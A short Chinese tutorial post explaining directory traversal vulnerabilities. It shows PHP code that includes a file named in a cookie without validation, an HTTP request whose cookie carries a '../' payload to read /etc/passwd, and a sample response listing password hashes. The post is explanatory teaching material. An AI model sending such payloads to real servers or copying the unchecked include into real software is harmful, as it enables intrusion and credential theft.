目录遍历漏洞

渗透人员可通过目录遍历攻击获取服务器的配置文件等等资料。

 

常见的目录遍历攻击,访问“../”这类的上级文件夹的文件。

例子:

<?php
$template = 'red.php';
if (isset($_COOKIE['TEMPLATE']))
   $template = $_COOKIE['TEMPLATE'];
include ("/home/users/phpguru/templates/" . $template);
?>

那么一般来说就可以在Cookie做手脚(当然这是数次测试之后才能推测的path):

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

然后服务器给了回答:

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh 
daemon:*:1:1::/tmp: 
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

from:https://segmentfault.com
原文地址:https://www.cnblogs.com/tdcqma/p/5355597.html